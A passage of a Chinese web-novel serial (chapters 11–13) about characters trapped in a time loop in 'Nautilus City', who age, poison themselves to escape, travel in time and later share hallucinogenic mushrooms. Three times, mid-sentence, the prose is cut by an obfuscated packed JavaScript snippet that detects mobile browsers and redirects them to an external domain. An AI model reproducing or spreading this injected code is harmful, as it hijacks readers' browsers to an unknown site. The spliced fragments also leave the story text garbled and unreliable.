两人又一起回到秦笙家。还没走到门口,就先闻见猪蹄十里飘香。食物种类虽然短缺,香料却是足足的,言笑随手把草莓种子往后一抛,被李开心稳稳接住。言笑凑到灶台前吸溜口水,不住往锅里张望,“好香啊。” 秦笙拿锅铲拨了拨猪蹄颤动的肉皮,“还要再等等,现在炖得还不够烂。” 言笑看够猪蹄,又侧头看秦笙,“我以为你是大明星,平时事事都有人伺候,没想到你还会烧大锅,还会炖猪蹄。” 秦笙听了也不生气,反而笑眯眯道:“我什么都会的,不要看不起我。” 言笑疯狂摆手,“我可没有看不起你。你能把三棱锥折射的彩虹化作实体,可太厉害了!”想了想,又把余下的话咽了回去,毕竟言笑很难解释说她有个朋友和面前这个“鹦鹉螺城秦笙”长得一模一样。但如果这两个人同时出现,言笑也自信不会把她们搞混。真实世界的秦笙身上总是带着难以掩藏的倨傲,以及不符合她年龄的成熟,而鹦鹉螺城秦笙远观是朵高岭之花,近看却是热烈活泼的雏菊。 谭述正在餐厅收拾厨具,等待开饭;李开心去找锄头了,准备明天种地。厨房只余言笑与秦笙二人,言笑八卦地撞撞秦笙,“哎,你真在十六岁的时候就把谭述的画像放在枕头底下呀?” 秦笙没料到此前的对话竟会被偷听,意外地“啊”了一声,瞬间涨红了脸,“你们,你们……” “嘘——”言笑比了个噤声的手势,皱着脸讨饶道:“我们就是不小心听到的。不小心,不小心。” 秦笙瞋她一眼,心里倒也没真的责怪,“放就放了,怎么啦?” “我就是不太理解,”言笑挠了挠脸,“你既然喜欢他,为什么不好好跟他谈恋爱呢?若即若离,吊着他啊?” “才不是。”秦笙昂着下巴,眼里的笑有点得意,“你小孩子不懂。我知道他不会离开我,我就是想欺负欺负他,怎么啦?再说他看着我和其他男人约会,他心里吃醋,却怎么都不来干涉我——太能装了,他这不也是在欺负我吗?我就是要看看他什么时候会按捺不住,直接把我抢回家。” 言笑抱头,“……太难了。我小孩子不懂。” 隔天,大家开始种地。鉴于谭述有洁癖,大家一致同意派谭述去挑水。言笑自告奋勇扛着锄头刨坑,吭哧吭哧刨了一会儿,望天抹汗,唉声叹气,“累死了,我腰都快断了。” 李开心看她一眼,接过锄头,“别乱说,年纪轻轻有什么腰。” 言笑叉腰站在一边看李开心锄地,吐槽道:“你从哪里学的这些陈年说法?‘腰折’与早夭的‘夭折’谐音?我就没见过八十岁以下的人还能唠出这嗑来的。我爸我妈都不这么说。” 猪仔也被好好养着。李开心在天文馆里找到猪饲料,饲料撒了满地,中间是掉落的、晶莹的地球。言笑一边垂涎烤乳猪,一边又不忍心浪费已经杀好的猪肉,每天都在做饭时去冰室拿肉,恼火着怎么猪肉就不能带出泡泡。 草莓长出苗苗,言笑巴巴等待,蹲在土坑前浇水,念念叨叨让草莓快点结果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926418|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。李开心路过,递给她一块饼干,“别浇涝了,不需要那么多水。” 言笑没站起来,伸手去接,阳光晃了晃眼,言笑看着自己的手背突然愣住。 她的手背变得不一样了。 不及从前圆润,仿佛衰老许多,能看出手筋,也能看出突出的血管。 李开心诧异地看她,把饼干又往前递了递。 言笑突然跳了起来,在院子里团团转着,转了半天终于脑子不再卡壳,奔出院门去水缸照影。 鹦鹉螺城没有镜子,言笑已经许久没有见过自己。水缸被言笑扑得吱啦往前窜了一截,水扑出来,水波死命晃动,言笑终于看到自己的脸。 “啊啊啊啊啊啊啊——”言笑惊恐大叫,捂着脸回身,问李开心,“我是不是老了?” 李开心沉默片刻,说:“没有。” 言笑说不准是不是自己神经过敏。秦笙与谭述好像变了,也没变,天天待在一起,对于细微变化总会迟钝一些。 可当细微变化日益累积,言笑终于再也无法自欺欺人——按照面目衰老的速度估算,他们几乎每天都会衰老一年。 除了李开心。 李开心这副皮囊丝毫未变,很快农活就只有李开心一人在干,因为其他仨人年老体衰,只能一起坐在旁边喝茶。言笑与秦笙也曾因为衰老恐慌、尖叫、歇斯底里,可事实无法改变,她们只好抱有“只要离开这里或许就能重回正常”的微薄希望,每天想尽办法探索这座生长在克莱因瓶里的鹦鹉螺城。 吃过了饭,李开心洗碗,言笑坐在旁边的小凳子上仰头看他。尽管已经是七老八十的面貌,言笑的心态却仍未扭转成老年人,十分看不开生死,每天都要抽出五分钟时间抽抽嗒嗒。“你说等我老死在这儿,是不是可能就回去了?” 之前李开心说得很清楚,在泡泡里死亡意味着真实死亡,但面对这个问题,李开心却犹豫了,“或许吧。” 言笑继续抽搭,“我这么美,我不能死。” 李开心垂眼看她,“原来你老了是这个样子。” 说到这茬儿言笑就来气,“哎,凭什么我们仨都老了,就你没事?你是不是偷摸背着我们吃什么了?” 李开心说:“没有。” 言笑也知道李开心没有。即使在真实世界里,李开心身份成谜目的未知,可李开心也早在进入泡泡前就解释过,泡泡里发生的一切都不可控。言笑明白再怎么说她都是李开心的队友,李开心没有理由做这么大一个局就为了把她困死在这里。 言笑坐得腿疼,让李开心扶她起来。天气不错,四人一起出去遛弯。秦笙与谭述白发苍苍走在前头,如同相濡以沫一生的老年夫妻;言笑和李开心跟在不远处的后头,与其乐融融的祖孙别无二致。 耳边依然只有清晰的走表声。这声音缠绕他们几十天,即使言笑把脑袋埋进被窝也摆脱不掉。一开始言笑以为这声音是客观存在的,即使源头难以考据,可后来言笑终于发现,这声音回荡在他们的大脑里。 李开心说:“这里的时间线太过强大,可以看穿我们的欺骗。或许我们现在就是在时间炼狱里。” 年纪大了,走起路来骨头咯吱咯吱响。行至第5弯中段,言笑被阳光晃得头晕,正想叫李开心一起回去,走表声里传来一声召唤。 那声音喊她,言笑。 言笑下意识回头,看到身后的四位来人。一个面覆黑纱,一个戴着墨镜,稍远些的两人则戴着帽子口罩,将脸挡得严严实实。 那是年轻时的她、秦笙、谭述,还有一直年轻的李开心。 那是他们自己。 11. 鹦鹉螺城08 喧嚷刹那归于平静。言笑站在第5弯中段,城主的巍峨堡垒如同直通天际,阳光亮烈,言笑费力地眨了眨眼。鹦鹉螺城仿佛被龙卷风信手装饰过,一切无比混乱却又留存着足以维系城池存在的整齐。走表声在脑子里回响,齿轮咔哒。 秦笙和谭述匆匆向前追上言笑与李开心,“发生了什么事?” 李开心抛掷着手里的石子,“之前我好像察觉到会发生什么,出于本能,或许是想提醒自己——我拿石头往墙上画了一条线。” 言笑问他,“一条?” 李开心回答,“一条。” 面对满墙密密麻麻的划痕,四人默契地陷入短暂沉默,片刻,李开心道:“我们一定看到过一些什么,或者忘记过一些什么。” 言笑有点麻了——这算怎么个事儿,进了泡泡不够,还得进泡泡里的隐藏地图,套娃啊?可几人面面相觑实在太过压抑,言笑努力打起精神安慰众人,“没关系的,走一步看一步嘛。 “就是。”秦笙附和,“虽然这里看起来乱了点儿,但是有吃有喝,咱们又饿不死,一定能想办法出去。” 李开心走近堡垒,仔细盯着石壁。谭述过去问他,“你在看什么?” 石壁上有个模糊印记,圆环形状,右侧稍扁,像是被手捏了一下。其中有处粗细不均,一边略粗,随着圆环走向逐渐稍细,与稍粗那端汇合。 李开心说:“角度。” 谭述当即明了,“你觉得这是有人留下来的?” 李开心比对圆环左右两侧的细微差别,伸手指向对应的延长方向。“我觉得——这是我留下来的。” 言笑凑过去看,“这是什么图案?你画了个饼?还是……” 停顿数秒,李开心与言笑异口同声,“蛇。” 这是一条衔尾蛇。笔触粗糙,没有鳞片,蛇头衔住蛇尾,无休无止。 李开心沉声道:“看来墙上这些划痕不止代表我们忘记过多少次事情。我们在循环里,一遍又一遍,每次都会被清空记忆,这个衔尾蛇印记是在我被清空记忆之前留下来提醒自己的。” 言笑咽了咽口水,“所以……我们循环了这么多次都没有想到办法出去吗?” 秦笙闻此忽道:“我认为不是。这个印记这么模糊,咱们被清空记忆一定十分突然。或许之前的许多次里,这个印记都看不清,所以咱们也根本不知道发生了什么,这是我们第一次猜到印记的真正含义。” 言笑伸手比划,看向李开心推测的、他留下印记时所站的方位,“你站在那个位置,又在这儿留下印记。那我们失忆的契机是什么?” 谭述开口,“或许……” 余下三人齐齐向他看去。 谭述常年讲课,对于他人注目表现十分淡然,“是我们自己。” 言笑恍然大悟,一拍大腿,“我想起来了!旅馆老板说过,当我们看见另外一个自己,会忘记自己。可,可是,”言笑结巴一下,“虽然鹦鹉螺城没有正儿八经的镜子,但我也照过铜灯、照过玻璃,洗脸的时候也照过水,之前都没失忆啊?” 李开心扫视一圈,大步向不远处的五金店走去,“验证一下就知道了。”踹开大门,木门一阵冒烟,李开心捡出一把半人高的巨大斧子,折返回来冲地面挥砍下去。 轰隆一声巨响,高处被震得掉下一扇猪肉。言笑满脸是灰,闭眼咳嗽得惊天动地。等李开心拆够了,扔下斧头,言笑拍掉睫毛上的尘土,伸脖子看过去,“什么都没有啊。” 地面被李开心挖出一个大坑,里面是空的。 言笑问他,“你在找什么?” 李开心说:“找我们自己。如果我们真的是遇见自己才失去记忆,那上一个版本的我们哪儿去了?” 言笑压根没想那么远,“我就是想不明白为什么看见自己会失忆,这真的科学吗?我以为鹦鹉螺城里意识是一种物质已经够离谱了……哎哎哎你等等!你去哪啊!” 也不知道李开心被哪句话触发开关,忽然连声招呼都不打就向陡峭上坡走去——鹦鹉螺城从前没有上坡,但现在有了。路被弯成曲面,言笑连滚带爬,穿过鹦鹉螺城的中心牢狱,几人再次站在987弯。 李开心片刻不停,继续带头向第5弯赶路。当几人再次回到李开心拿石头画线的石壁旁,言笑惊异发现虽然石头划出的线还在墙壁上,地上刚挖的大坑看着依旧新鲜,坑里却多了些东西。 碎石翻滚,尘土飞扬,沙尘扬起复又落下,勾勒出坑里密密麻麻的人形。 坑里都是尸体。数也数不清的尸体。 他们四个人的尸体。 其中只有李开心的尸体与他本人并无二致,言笑、秦笙与谭述尽皆已是老者模样。李开心一路拿着斧头,见此,估摸斧头用不上了,遂将其扔下,“让我们失忆时我们所看到的、站在这个位置上的我们,与我们的存在并不相同——他们是相反的。如果鹦鹉螺城里的意识都是物质,那么就是正反‘物质’碰撞湮灭让我们失去记忆。我们忘记的,是老去的自己。我们在此老去,遇到新来此处的‘我们’,然后被地面吞噬,继续永无止境的循环。” 言笑惊得半天没出声,也压根没听懂什么正反物质,片刻,搓了搓脸,“如果我犯了错误,可以用法律惩罚我,不要让我老那么快。” “我们确实犯了大错。”谭述提醒她,“我们欺骗了时间。” 言笑哽住,半晌,胳膊肘撞撞李开心,“大腿,想个办法。” 秦笙垂下睫毛,惭愧道:“是我们连累了你们。” “哎呀,”言笑摆摆手,安慰秦笙,“说什么连累不连累。再说死了那么多次又怎么样,现在不还活着呢么?” 李开心看了言笑一眼,“办法是有一个。” 言笑惊喜,急道:“那你说啊。”正要催促,忽然猛地卡壳。 她意识到了李开心所指。 想要终止一切,不再发生意识碰撞湮灭,就意味着他们不能在此老去,不能让新来的“他们”与自己相逢。 他们需要死在这里。 言笑当机立断,摩拳擦掌,“说吧,需要怎么死?” 李开心提议,“城里有个实验室,我去弄点氰|化|物。” 秦笙断然拒绝,“不行,这样太冒险了!难道除了我们都死在这里,就没有其他办法吗?” 言笑认真思考五秒,然后回答,“没有。”秦笙正要说些什么,头发就被言笑奔跑带起的风吹得飘了起来。 言笑边跑边喊,“赶紧走吧,我可一秒都不想在这破地儿待着。” 四人赛跑似的来到实验室。李开心翻箱倒柜,又开了实验设备,很快端出一杯抽象液体,又拿小烧杯将其分成三份。 言笑问他,“怎么只有三份?” 李开心说:“我不需要。” 言笑,“?” 李开心,“我有其他自杀方法。” 言笑,“不要那么抠门,有好方法赶快分享给大家。” 李开心不说话,把其中一个烧杯往言笑跟前推了推。言笑刚把烧杯拿起来,手里忽然一空,东西竟被秦笙抢走。秦笙仰头,将其一饮而尽,“你别第一个试。我先试试。” 谭述对于秦笙赴死并没有太大情绪波澜,紧随其后喝了杯中液体。言笑看这二人接连倒地,心说这事拔个头筹有何意义,早死晚死都得死,不死谁知道这主意有没有用。 不得不说李开心是个制毒高手,言笑觉得自己算得上猝死,瞬间失去五感,唯余一缕意识如同游丝。身体撞击地板的疼痛并未如期而至,言笑那一刻大约感觉得到,自己死时身旁有个人,活生生的、有肉|体的人。 不知过了多久,言笑在鹦鹉螺城的城墙之外苏醒。彩色气球热热闹闹奔向天际,言笑顿悟他们此时所在的时间点。身旁的李开心亦悠悠醒转,爬了起来。 “我去!什么情况!”言笑拉磨似的转了好几圈,才终于确认身旁再无旁人,“秦笙和谭述呢?” 李开心眯眼看向天边的斑斓气球,阳光刺目,“这里的时间线比我想像的强大得多。我们又回到事发当天,什么也没改变。” 也就是说,就在这天晚上,一切都会像过去重复的无数次那样发展:谭述死于牢狱,秦笙逆转时间,鹦鹉螺城里不断时间跳跃,一切周而复始。 “那咱们直接去把秦笙的表偷来,穿越回过去给她剧透,让她赶紧跟谭述好、让谭述别再给人讲课不就结了么!”言笑拍腿道:“要是时间线弱、禁不住折腾,一旦产生时间悖论咱们都得玩儿完。可既然时间线都这么强大了,咱们还客气什么?” 说干就干。两人当即向舞厅进发。下午是彩排时间,舞厅尚未营业,但有工作人运输食物和酒,正是人多手杂好混进去的时候。可哪知当两人赶到舞厅门口,竟惊讶发现门口守着乌泱乌泱守着一队士兵。 李开心向周围的吃瓜群众打听情况。吃瓜群众嗑着瓜子,指指点点,“城主正派人四处捉拿谭先生,大家都知道谭先生心悦玫瑰小姐——哦不对,是他们两个互相都有意思,所以才派人来舞厅找他。” 言笑傻眼。 剧本怎么还改了? 李开心拽言笑衣袖,悄无声息拉着她躲过人群。言笑心神不宁,问他,“剧本和以前不一样了,这怎么办?” “这不重要。”李开心说:“过程都不重要,达到目的最重要。” 两人趁乱潜入后台。 秦笙晚上有表演,不可能把怀表揣身上,士兵又刚搜过舞厅,现在正是来偷东西的好时机。 玫瑰小姐的休息室没人敢擅自闯入。言笑与李开心大摇大摆进去,瞅着门外没人,连大摇大摆出来的过程都省了,李开心当即握着怀表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926419|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始改造。 走表声在言笑耳边愈发清晰,言笑鼻尖上冒出一层细密的汗。在时间炼狱时,这样的声音萦绕不断、无法摆脱,言笑如同行走在梦魇里。俄而,李开心睁眼,言笑拿眼神问他,李开心也拿眼神回应。李开心抓住言笑的衣袖,言笑只觉眼前一闪,在几乎微不可查的抽离感之后,灯光大亮。 舞女们在休息室外匆匆跑过,叫喊、珠宝碰撞、高跟鞋鞋跟杵着地板,各种声音杂糅一团。忽然门被推开,在秦笙发出声音的0.01秒前,言笑灵活矫健地闪现到秦笙跟前,死死捂住她的嘴。 “别叫,我们是自己人!” 秦笙的眼神表示,她可没把眼前的不速之客当自己人。秦笙比言笑高一点点,言笑制着她很费力,可毕竟秦笙是女人,李开心也不好上手。言笑急得满头冒汗,“我知道你喜欢谭述!” 这话毫无作用。秦笙抄起手边花瓶,眼看要抡到言笑脑袋上,言笑大喊,“我知道你十六岁时就画了谭述的画像放在枕头底下!” 花瓶在言笑太阳穴旁停了下来。 言笑松了口气,放开捂住秦笙的手。 “谭述一年之后会死,而你为了救他,一直逆转时间,让鹦鹉螺城里的时间乱了套。我们是来帮你们的。”言笑噼里啪啦说了来龙去脉,说完紧张兮兮看着秦笙——这话听着太扯,言笑很难预计自己会迎来尖叫还是花瓶。 哪想秦笙先是惊愕,而后平静,“我相信你。” 言笑挠了挠头,“……这么容易就相信我?” 秦笙道:“我也不知道为什么,从看到你的那一刻,我就觉得特别相信你。” 言笑心想是啊,花瓶都知道你特别相信我。可如果真要究其原因,大概这是因为鹦鹉螺城里的秦笙本就是她的意识衍生。现实世界里的秦笙是她最好的朋友,那么鹦鹉螺城秦笙自然会对她有莫名的信任。 谭述正在舞厅等待秦笙出场。秦笙让人叫来谭述,四人在休息室会合。李开心拿出怀表,然后在秦笙惊异的目光中让大家分别牵住表链,“这就是你家的怀表,只不过是在不同的时间线上。” 言笑问他,“我们要去哪里?” 这次穿越,来到的是秦笙还未去过钟表铺的一年前。如果想要躲避灾祸,时间线上也只有两个方向可选。李开心说:“去他们出生以前。” 秦笙与谭述对视一眼。言笑看出二人忐忑,解释道:“鹦鹉螺城出不去,你们无法从空间离开,所以只能离开这个危险的时间点。” 四只手指绞在黄铜细链上。李开心说:“走吧。” 这次的抽离感比刚才多出那么几个刹那。也许是李开心特意为了避开人群,落脚时间是在上午——上午舞厅不营业,可六十年前这里不是舞厅。 大白鹅的翅膀“啪”地拍在言笑脸上,几根羽毛打着旋儿落地;李开心上前拧大白鹅的翅膀,照样被无情打脸。秦笙和谭述摔进了鸡群,旁边有一只公鸡在打鸣,尖声鸡叫与鸡屎纷飞中,言笑在谭述脸上看到了视死如归。 “李开心!你一定要选在菜市场吗!” 不得不说贪财如言笑,言笑着实佩服秦笙与谭述的洒脱,不带行李不拿钱,空手就为了爱情穿越时间。两人没处落脚,秦笙说:“没关系,我们可以先找地方工作……你这个手套怎么回事?”秦笙不满地拽下谭述的手套,继续牵他的手,谭述也不排斥,随便秦笙折腾。秦笙继续道:“先赚点钱,找个地方住着,以后的事以后再说。” 李开心提醒言笑不要放开表链,“我们穿越过来,这只怀表的存在就是悖论。怀表随时会消失,我们最好能被怀表送回原来的时间点。” 言笑牵着表链拥抱秦笙,想了想,还是说:“你很像我的一个朋友,长相很像,但你们又不像,你比她活泼快乐很多。” 秦笙一怔,随即笑着眨眨眼,“世界和平,天下安乐,有什么理由不快乐。” 话别过后,眼前场景破碎如同万花筒,果然如李开心所料,他们被怀表遣送回来。只是这次,鹦鹉螺城里再没有了秦笙与谭述,取而代之的是满街招贴,寻找失踪人口。 言笑伸着懒腰打哈欠,“早知道不如直接穿越到一年前阻止他们,白费那么大劲儿。” 李开心道:“很多事情如果不做,是没有办法知道那不是最佳选项的。” 言笑累得要命,两人慢腾腾往下塌的旅馆一步步挪。一个大约七八岁的小女孩等在旅馆门口,手里拿着一束雏菊,见到言笑,仰头问她,“姐姐,你姓言吗?” 言笑与李开心对视一眼,继而俯身回答,“是呀。” 小女孩把雏菊递给言笑,“这个给你。太爷爷太奶奶说谢谢你。” 分别之前秦笙问过言笑与李开心住在哪里,还说要向他们表示感谢。他们不过走出几步远,秦笙与谭述的这束雏菊却已经走了六十年。 12. 鹦鹉螺城09 雏菊接到手里的瞬间,周遭一切开始破碎,像是玻璃被斧头劈开,碎片之中言笑看到眼前逐渐显现的恢弘飞船。 李开心开车载着言笑离开。车速很慢,这样言笑手中的雏菊可以多存在一段时间。 言笑闻了闻新鲜花香,“我还以为一出来这花就没有了呢。” “其实整个科研园区都处于混沌态,但不足以完全维系从泡泡里带出来的事物。每个泡泡周围有独属于它们的加强混沌范围,只有在这个范围里,带出来的东西才能够维持。” 言笑低头,手中雏菊已经消失不见。 李开心向她手中看了一眼,“理论上来说,它不应该存在这么久。明天我拿仪器测量一下,看看混沌态范围是不是扩大了。” 言笑没有回家,而是按李开心嘱托,在下城区找了旅馆住下。现实生活中的危机依旧存在,回家不安全,而李开心的住处也会被监控,言笑只能另寻他处落脚。在泡泡里李开心确实是队友,可一旦回归现实,李开心的真实身份依旧令人疑窦丛生,他的目的也十分耐人寻味。 言笑呈大字型往床上一躺,开始回终端里的消息。 言笑跟父母和秦笙说去出差了,还和上司请了长假,两边玩失踪,总要适时出现一下证明她还喘气。消息“嘀”的跳出来,第一次进泡泡的薪酬到账,言笑对这个数字十分满意,转而去看上城区的房价。 敲门声响。言笑立刻从床上跳起来,光脚蹦哒着去开门。“怎么是你?” “那你以为是谁?”李开心拎着两个巨大的袋子挤进门。“没人搭伙,弄点饭吃。” 言笑上下打量他,“你是不是没怎么来过下城区?下城区里多少家庭还没厨房呢,你指望这破旅馆里有厨房?” 李开心说:“我带了炊具。” 行吧。 李开心在窗边架起了锅,案板摆上,菜刀咣当一剁,一角嵌进案板。牛肉、鲫鱼、还有成把的小米辣和青花椒,李开心一样一样把东西从袋子里掏出来,言笑看得眼都直了——如此鲜食不是只靠钱就能买到的,当公务员果然待遇非凡。言笑狗腿地凑过去,“今天都吃什么?” 李开心侧头看她,“你想吃什么?” 下城区吃合成速食居多,言笑对吃非常缺乏想像,卡壳一秒,竟被李开心问得呆了呆,“饺子吧。” 李开心垂下睫毛,继续准备食材,“不做饺子。” 懂了。肯定是不会擀饺子皮。言笑在心里表扬自己善解人意,转移话题道:“只要你下厨,我吃什么都行。” 李开心“嗯”了一声。 看来确实不用自己下手,言笑这才放心,回床上趴着,手杵下巴看李开心一人忙碌。淋油润锅,鲫鱼在锅里煎出酥脆表皮,李开心往锅里扔了块姜,旺火加开水,又下去一勺料酒和一个葱结。 言笑在查鲫鱼汤的做法,远程指挥,“是不是应该加点豆腐?你准备豆——啊嚏!” 辣椒爆锅,直接把言笑没说完的话堵了回去。言笑把脑袋埋进被窝里,瓮声瓮气地喊,“李开心你下次不用现做,你炒好了带过来一样的。” 李开心也跟她喊,“有豆腐。你没闷死的话,四十分钟之后出来喝汤。” 言笑计算一下被窝里的氧气余量够她支撑多久,最后决定冒死掀开被子,奔到窗边,咣当推开了窗。 新鲜空气涌入,熏人油烟登时散去大半。言笑深呼吸好几个来回,这才回头,“这破旅馆连空气加工器都没有,你何苦在这儿干这种大活。” 牛肉丢进锅里,迅速变成讨人喜欢的鲜嫩颜色。李开心道:“刚结算过工资,你可以住个好点的地方。” “我才不。”言笑嘟嘟囔囔,“我的钱还有用呢。” 李开心很快搞定三菜一汤。没有桌子,两人就坐在地上。李开心给言笑递筷子,言笑接过来,吸溜着口水颇遗憾道:“还少点东西。” 李开心问,“少点什么?酒?我——” 敲门声响,言笑立马蹿了起来,“来了来了!”李开心擎着筷子坐在原地,眼看言笑做贼似的飘到门口、开门、无声且默契地跟送货的人打个手势,又在关门之后兴奋异常地从袋子里掏出—— 一朵蘑菇。 言笑搬来案板和菜刀,坐在地上刷刷切蘑菇,“哇你看,切开以后真的会变色哎!” 李开心委婉提醒,“这东西可能有毒。” “吃不死。”言笑直接往嘴里炫了一片,见不得李开心嘴闲着,嗖地一抬胳膊,往李开心嘴里也塞了一片。 说时迟,等李开心反应过来竟真的迟了,李开心瞪大眼睛,张嘴就要把蘑菇吐掉。言笑一急,也可能是嚼蘑菇嚼晕了,手脚并用往前爬了半步,探过脸去堵李开心的嘴。 四片嘴唇撞在一起,牙齿磕碰。言笑和李开心都没闭眼,视线边缘有色彩绚丽的烟花爆开。言笑在纪录片中了解过这种古老烟花,不像现在的全息影像,从前的烟花里是有火药的,爆开会闻到硝烟的味道。那一瞬间言笑发誓她闻到了鲫鱼汤的鲜香、炒牛肉的麻辣、李开心肉|体的气息,以及硝烟。 情感随着战火贬值,人类对于爱情的体验和经济一样一落千丈,言笑只隐约记得古人歌颂的爱情需要靠什么体现:吻,和语言。 蘑菇是微苦的,李开心的嘴唇盖过了这种味道。一秒钟变得漫长,言笑祈祷着周围生出茧蛹,爱情是束缚是掣肘,是让她在这短暂一刹不再渴盼长出翅膀。他们的茧蛹里有烟花,有诗歌,有酒,有永恒的生命与信仰。 李开心往后退了一点,躲开言笑的吻。 言笑没当回事,把蘑菇嚼嚼吃了,突然竖起眉毛,拔高声调命令道:“不许吐!” 李开心默默嚼了蘑菇,咽下去,“吃这个会产生幻觉。” 人在很多时候不需要太多清醒。言笑看见小米辣长出四肢开始跳舞,牛肉拼出笑脸,鲫鱼越过龙门,香气四溢又金光闪闪。米饭不是现做的,是李开心带来的盒装加热速食款,言笑就着菜吃了两大盒米饭,然后打着嗝和李开心躺倒在地看天花板。 李开心侧头问她,“你看见了什么?” 言笑摇摇头。一切太过混乱,言笑知道都是假的,她甚至看到了谭述的白手套和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926420|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦笙缀满玫瑰花的蕾丝长裙。 “我知道我忘掉了一些什么,所以才想吃点蘑菇看能不能想起来。” “那你想起来了么?” 言笑没回答,也没摇头。她睡着了,等再睁眼已经是第二天清早,房间被收拾得干净整齐,床头摆着一碗皮蛋粥,而她独自躺在床上,李开心已经不见踪影。 人不在正好,省得还要想理由打发。言笑换身衣服,带上帽子,压低帽檐,溜溜达达往公交车站走。 去数据仓库有车直达,言笑特意没选那趟车,反而是七扭八拐折腾几遍,最后在一条破落小巷下车。穿过小巷再走几条街就是数据仓库,言笑一路鬼鬼祟祟,确认不会有人认出她也不会有人跟踪—— 然后发现李开心就站在数据仓库门口。 装也没用,言笑索性摊牌,摘了帽子问李开心,“你在这儿干什么?” 李开心双手插兜,在风中眯起眼睛,“我和你说过,别在外面乱跑,也别到你从前会出现的固定地点。” 片刻安静。言笑没有说话。 李开心又道:“我知道你来这里干什么。你想知道的答案,我就能告诉你。” 言笑看着对方,半晌,抄手道:“那你告诉吧。” 关于田斯斯的存在,言笑在思考良久之后得到的结论是:如果她们两个能长出同一张脸,那么长着这张脸的大概率不止她们两个。数据仓库理论上来说不许员工私查信息,可理论和实际是两码事,言笑完全可以录入自己的人脸数据,然后和仓库中的信息进行比对。使用颅内芯片的平民都会被采集记忆,或许有人见过与她相貌相同的第三四五六个人。 李开心说:“你不属于她们。” 这话说得模糊,可言笑知道即使追问也没有用。李开心这话至少囊括了两条信息:第一,她们确实是实验室批量生产出来的,而非来自自然繁衍;第二,其他实验体会被实验室追踪,而她不会。 言笑并不惊讶,李开心不过印证了她的猜想而已。甚至言笑都能感觉到,李开心之所以在她被追杀时救她一命、又冒险让她顶替田斯斯的身份来保护她,其实是因为李开心爱上过与她长相相同的实验体。对此言笑倒也不怎么在意——虽然言笑确实在某些瞬间对李开心动过邪念,可喜欢他不代表信任他,言笑对于李开心以及他背后的势力仍旧保持怀疑。 可能是蘑菇的劲儿没过,言笑仰头看着李开心,恍惚觉得时间流速成谜,而她在刹那定格之中一秒衰老。然而奇就奇在老去的只有她一个,没有李开心。言笑突然没头没尾问他,“你会变老吗?” 李开心没答,只道:“我已经回去述过职了。看你这么闲,我们去下一个泡泡。” “哎,说真的,”言笑忽地执著起来,“照你说法,你去过那么多泡泡,甚至耗时最长的泡泡里你待了十年,那你到底今年多大了?你证件给我看看?” 李开心一路无视言笑,言笑一路喋喋不休。进了科研园区,来到飞船,银色舱门打开,李开心带言笑来到一扇舷窗。 “跳吧。” 李开心说。 13. 阿特拉斯01 言笑小心翼翼探头往外看了一眼,谨慎地问,“车呢?” 李开心说:“不用车。直接跳就行。” “这高度少说一百来米,我跳下去我就碎了。” “我不知道你有没有仔细看过协议内容。死亡抚恤金是进一次泡泡酬劳的三倍。” “有命挣钱没命花?” 李开心站上窗楹,回身向言笑伸手,“穿越点在这扇窗子下面。我们从这里跳下去,重力加速度影响减掉空气阻力影响,正好可以以穿越速度通过穿越点。” “要是你算错了呢?” “那我就和你一起碎了。” 言笑比划一下,想爬上去,又往下瞅瞅,没敢。言笑不觉得自己恐高,可一百多米也不是闹着玩的。“我们应该竖着跳下去还是趴着跳下去?” “这不重要。” “怎么不重要?空气阻力不一样。” “穿越速度有一定的容错范围。你跳不跳?” 言笑疯狂摇头。李开心无奈,示意言笑再往下看,“这样呢?” 李开心打开了全息影像,飞船周围簇拥着大团大团粉红色的云朵,棉花一样又蓬又软,随着微风缓缓流动。 言笑给他科普,“云彩就是水。” “那这样呢?” 全息影像又变了,这次是一片巨大的蹦蹦床。 言笑还在摇头。蹦蹦床变成深蓝的海,海豚摆尾,搅动星光,鲸鱼发出幽长鸣叫。 言笑咬咬牙,深吸一口气,“变来变去也都是假的。算了,就这个吧。” 李开心点点头,“需要我帮你吗?” 言笑手脚并用,哆哆嗦嗦爬上窗楹蹲着,“你怎么帮?” 李开心表现得非常善解人意,“我可以踹你一脚。” “谢谢不用了——啊啊啊啊啊啊啊!” 李开心确实没有踹言笑,只是突然趁其不备攥住她的手腕拉她一起跳了下去,不像穿越,反而更像自杀或者殉情。风声呼啸,他们甚至没来得及触及虚幻的海面,言笑还在等待鲸鱼的尾巴拍在她脸上,转眼一瞬之间速度就慢了下来。 眼前尽是黑暗,渺远之处有闪烁微光。言笑花费了一点时间适应视力,问李开心,“这是哪里?” 